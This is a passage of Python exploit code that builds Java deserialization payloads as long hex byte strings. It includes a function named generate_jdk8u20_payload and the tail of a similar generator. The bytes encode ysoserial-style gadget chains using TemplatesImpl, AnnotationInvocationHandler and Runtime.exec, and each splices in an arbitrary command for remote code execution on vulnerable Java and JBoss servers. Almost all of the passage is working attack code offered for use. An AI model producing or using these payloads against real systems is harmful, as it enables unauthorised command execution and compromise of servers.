\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\
\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\
\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\
\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\
\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\
\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\
\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\
\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\
\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\
\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\
\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\
\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\
\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\
\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6E\x73\
\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\
\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\
\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x54\x72\x61\
\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\
\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\
\x01\x00\x08\x3C\x63\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\
\x52\x75\x6E\x74\x69\x6D\x65\x07\x00\x2A\x01\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x01\
\x00\x15\x28\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x3B\x0C\
\x00\x2C\x00\x2D\x0A\x00\x2B\x00\x2E\x01\x00")
    if version_info[0] >= 3:
        payload += (bytes(chr(len(cmd)), 'utf-8'))
        payload += (bytes(cmd, 'utf-8'))
    else:
        payload += (chr(len(cmd)))
        payload += (cmd)
    payload += (b"\x08\x00\x30\x01\x00\x04\
\x65\x78\x65\x63\x01\x00\x27\x28\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\
\x67\x3B\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\
\x32\x00\x33\x0A\x00\x2B\x00\x34\x01\x00\x21\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x4A\x65\x78\
\x42\x6F\x73\x73\x32\x36\x31\x34\x31\x39\x33\x31\x34\x30\x38\x37\x38\x37\x35\x39\x01\x00\x23\x4C\
\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x4A\x65\x78\x42\x6F\x73\x73\x32\x36\x31\x34\x31\x39\x33\
\x31\x34\x30\x38\x37\x38\x37\x35\x39\x3B\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\
\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\
\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\
\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x2E\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\
\x0F\x00\x37\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\
\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x33\x00\x0E\x00\x00\
\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\x37\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\
\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\
\x00\x1B\x00\x02\x00\x0C\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\
\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x37\x00\x0E\x00\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\
\x0F\x00\x37\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\
\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x08\x00\
\x29\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x1B\x00\x03\x00\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\x4C\
\xB8\x00\x2F\x12\x31\xB6\x00\x35\x57\xB1\x00\x00\x00\x00\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\
\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00\x7E\x00\x0C\x00\x00\
\x01\xD4\xCA\xFE\xBA\xBE\x00\x00\x00\x31\x00\x1B\x0A\x00\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\
\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\
\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\x6D\
\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\
\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\
\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\
\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x25\x4C\x79\
\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\
\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\
\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x1A\x01\
\x00\x23\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\
\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x01\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\
\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\
\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\
\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\
\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\
\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\
\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3B\x00\x0E\x00\x00\x00\x0C\
\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\
\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x07\x6A\x65\x78\x62\x6F\x73\
\x73\x70\x77\x01\x00\x78\x73\x7D\x00\x00\x00\x01\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\
\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x78\x72\x00\x17\x6A\
\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\
\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\
\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\
\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\
\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\
\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\
\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\
\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\
\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\
\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\
\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\
\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\
\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x09\x78\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\
\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x78")
    return payload


def generate_jdk8u20_payload(cmd):
    # improved from Alvaro (pwntester) version
    payload = (b"\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\
\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\
\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\
\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\
\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\
\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\
\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x09\x49\x00\x0D\x5F\
\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\
\x49\x6E\x64\x65\x78\x5A\x00\x15\x5F\x75\x73\x65\x53\x65\x72\x76\x69\x63\x65\x73\x4D\x65\x63\x68\
\x61\x6E\x69\x73\x6D\x4C\x00\x19\x5F\x61\x63\x63\x65\x73\x73\x45\x78\x74\x65\x72\x6E\x61\x6C\x53\
\x74\x79\x6C\x65\x73\x68\x65\x65\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\
\x74\x72\x69\x6E\x67\x3B\x4C\x00\x0B\x5F\x61\x75\x78\x43\x6C\x61\x73\x73\x65\x73\x74\x00\x3B\x4C\
\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\
\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\
\x48\x61\x73\x68\x74\x61\x62\x6C\x65\x3B\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\
\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\
\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x71\x00\x7E\x00\x05\
\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\
\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\
\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x74\x00\x03\x61\x6C\x6C\x70\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\
\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\
\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06")
    if version_info[0] >= 3:
        payload += (bytes(chr(len(cmd)+147), 'utf-8'))
    else:
        payload += (chr(len(cmd)+147))
    payload +=  (b"\xCA\xFE\xBA\xBE\x00\x00\x00\x31\x00\x3A\
\x0A\x00\x03\x00\x24\x07\x00\x38\x07\x00\x27\x07\x00\x28\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\
\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\
\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\
\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\
\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\
\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\
\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\
\x00\x22\x4C\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\
\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\
\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\
\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\
\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\
\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\
\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\
\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\
\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\
\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\
\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\
\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\
\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\
\x74\x69\x6F\x6E\x73\x07\x00\x29\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\
\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\
\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\
\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\
\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\
\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\
\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\
\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\
\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\
\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\
\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\
\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\
\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\
\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x23\x6F\x72\x67\x2E\x6E\x65\x74\x62\x65\x61\x6E\
\x73\x2E\x53\x6F\x75\x72\x63\x65\x4C\x65\x76\x65\x6C\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x73\
\x01\x00\x14\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x76\x65\x72\x72\x69\x64\x65\x3B\x01\
\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\
\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x2A\x01\x00\x20\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\
\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\
\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\
\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\
\x2F\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6E\x73\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\
\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\
\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\
\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x54\x72\x61\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\
\x74\x69\x6F\x6E\x01\x00\x0C\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x01\x00\x08\x3C\x63\
\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\
\x6D\x65\x07\x00\x2C\x01\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x01\x00\x15\x28\x29\x4C\
\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x3B\x0C\x00\x2E\x00\x2F\x0A\
\x00\x2D\x00\x30\x01\x00")
    if version_info[0] >= 3:
        payload += (bytes(chr(len(cmd)), 'utf-8'))
        payload += (bytes(cmd, 'utf-8'))
    else:
        payload += (chr(len(cmd)))
        payload += (cmd)
    payload += (b"\x08\x00\x32\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\x4C\x6A\x61\
\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\
\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\x34\x00\x35\x0A\x00\x2D\x00\x36\x01\x00\x21\
\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x4A\x65\x78\x42\x6F\x73\x73\x32\x34\x34\x39\x35\x35\x33\
\x38\x34\x30\x35\x36\x33\x33\x37\x38\x01\x00\x23\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x4A\
\x65\x78\x42\x6F\x73\x73\x32\x34\x34\x39\x35\x35\x33\x38\x34\x30\x35\x36\x33\x33\x37\x38\x3B\x00\
\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\
\x02\x00\x08\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\
\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x1C\
\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x39\x00\x00\x00\x01\x00\x13\x00\x14\
\x00\x02\x00\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\
\x00\x00\x06\x00\x01\x00\x00\x00\x1F\x00\x0E\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\
\x39\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\
\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\x00\x1B\x00\x03\x00\x0C\x00\x00\x00\x49\x00\
\x00\x00\x04\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x22\
\x00\x0E\x00\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\x0F\x00\x39\x00\x00\x00\x00\x00\x01\x00\x15\
\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\
\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x20\x00\x00\x00\x06\x00\x01\x00\x21\x00\x00\x00\x08\
\x00\x2B\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x1B\x00\x03\x00\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\
\x4C\xB8\x00\x31\x12\x33\xB6\x00\x37\x57\xB1\x00\x00\x00\x00\x00\x02\x00\x22\x00\x00\x00\x02\x00\
\x23\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x25\x00\x10\x00\x09\x75\x71\x00\x7E\x00\x0D\x00\
\x00\x01\x9B\xCA\xFE\xBA\xBE\x00\x00\x00\x31\x00\x1B\x0A\x00\x03\x00\x15\x07\x00\x17\x07\x00\x18\
\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\
\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\
\x6D\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\
\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\
\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\
\x00\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x12\x4C\
\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\x53\x6F\x75\x72\
\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\
\x00\x0B\x07\x00\x1A\x01\x00\x10\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\
\x01\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\
